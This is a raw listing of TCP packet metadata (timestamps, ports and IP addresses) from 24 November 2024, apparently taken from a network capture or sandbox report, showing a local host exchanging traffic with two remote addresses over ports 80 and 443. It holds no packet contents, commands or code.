Nov 24, 2024 08:44:09.326999903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.327029943 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.327069998 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.327697039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.327740908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.327753067 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.327799082 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.328458071 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.328520060 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.328531027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.328562975 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.329211950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.329263926 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.329453945 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.329497099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.329509020 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.329551935 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.330238104 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.330274105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.330274105 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.330286980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.330477953 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.330985069 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.331046104 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.331058025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.331083059 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.331768036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.331809044 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.331813097 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.331825018 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.331851959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.332500935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.332549095 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.332561016 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.332591057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.333262920 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.333304882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.333306074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.333319902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.333353043 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.385637045 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.385694981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.385705948 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.385762930 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.394378901 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.395613909 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.395613909 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.395639896 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.395656109 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.504147053 CET	443	49787	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.504213095 CET	443	49787	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.504446030 CET	49787	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.504503012 CET	49787	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.504520893 CET	443	49787	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.504533052 CET	49787	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.504538059 CET	443	49787	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.507704973 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.507750034 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.507823944 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.507978916 CET	49792	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.507988930 CET	443	49792	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.616288900 CET	443	49788	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.616359949 CET	443	49788	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.616410017 CET	49788	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.616612911 CET	49788	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.616635084 CET	443	49788	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.616652966 CET	49788	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.616658926 CET	443	49788	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.621501923 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.621541977 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.622529030 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.626701117 CET	49793	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.626729012 CET	443	49793	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.766977072 CET	443	49789	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.767046928 CET	443	49789	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.767111063 CET	49789	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.767375946 CET	49789	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.767395973 CET	443	49789	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.767410994 CET	49789	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.767416954 CET	443	49789	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.770513058 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.770540953 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.770595074 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.770873070 CET	49794	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.770885944 CET	443	49794	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.886307001 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:09.886387110 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:09.886501074 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.886583090 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.886667967 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.886917114 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.886936903 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.886965990 CET	49790	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.886971951 CET	443	49790	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.890347004 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.890384912 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:09.890531063 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.890820026 CET	49795	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:09.890830040 CET	443	49795	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:10.132368088 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.149275064 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.251920938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.252101898 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.252115011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.252147913 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.268956900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.269138098 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.269150972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.269161940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.269496918 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.269825935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.269872904 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.270030022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.270040989 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.270054102 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.270085096 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.270760059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.270771980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.270783901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.270813942 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.270824909 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.270915031 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.271342993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.271354914 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.271378994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.271497011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.271543980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.271682978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.272047043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.272239923 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.272250891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.272262096 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.272281885 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.272953033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.272964954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.272974014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.273004055 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.273015976 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.273127079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.273682117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.273694038 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.273705006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.273716927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.273741007 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.273768902 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.274399996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.274410963 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.274435997 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.274584055 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.274595022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.274610996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.274630070 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.274661064 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.275326014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.275336981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.275347948 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.275358915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.275372982 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.275398970 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.276045084 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.276055098 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.276067019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.276112080 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.276209116 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.276254892 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.276796103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.277000904 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.277012110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.277023077 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.277055979 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.277081013 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.277663946 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.277678967 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.277690887 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.277724981 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.277834892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.278383017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.278393984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.278403997 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.278429031 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.278557062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.278731108 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.279081106 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.279279947 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.279455900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.279469013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.279496908 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.279520035 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.280013084 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.280024052 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.280035973 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.280064106 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.280186892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.280766010 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.280934095 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.280946016 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.280961037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.280981064 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.281099081 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.281409979 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.281578064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.281588078 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.281599045 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.281646013 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.281768084 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.281804085 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.282500982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.282512903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.282524109 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.282540083 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.282558918 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.282582998 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.283066034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.283231020 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.283242941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.283281088 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.283410072 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.283451080 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.283915997 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.284090996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.284101009 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.284132004 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.284266949 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.284313917 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.284780025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.284790993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.284801960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.284848928 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.285070896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.285118103 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.285650015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.285660982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.285671949 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.285713911 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.285780907 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.285819054 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.286541939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.286552906 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.286564112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.286604881 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.286853075 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.286909103 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.287384033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.287395954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.287405968 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.287445068 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.287532091 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.287959099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.287970066 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.287980080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.287991047 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.288006067 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.288042068 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.288450003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.288650990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.288662910 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.288728952 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.289424896 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.290060997 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.290071011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.290081978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.290111065 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.290340900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.290383101 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.291002035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291014910 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291023970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291058064 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.291172981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291502953 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.291512966 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291523933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291534901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291553974 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.291572094 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.291599035 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.292021990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.292033911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.292045116 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.292083979 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.292203903 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.292695045 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.292860985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.292871952 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.292882919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.292932034 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.293024063 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.293142080 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.293648005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.293658972 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.293668032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.293694019 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.293803930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.293845892 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.294528008 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294538975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294548988 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294584036 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.294670105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294806957 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.294909954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294920921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294931889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294943094 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.294956923 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.294981956 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.295656919 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.295706987 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.295717955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.295743942 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.295882940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.295923948 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.296538115 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.296602964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.296613932 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.296684980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.296715021 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.296812057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.297235012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.297302008 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.297312975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.297347069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.297414064 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.297940969 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.298176050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.298243046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.298254013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.298285007 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.298348904 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.298393011 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.298854113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.298922062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.298937082 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.298964024 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.299047947 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.299105883 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.299765110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.299829006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.299840927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.299868107 CET	49781	80	192.168.2.10	185.215.113.16
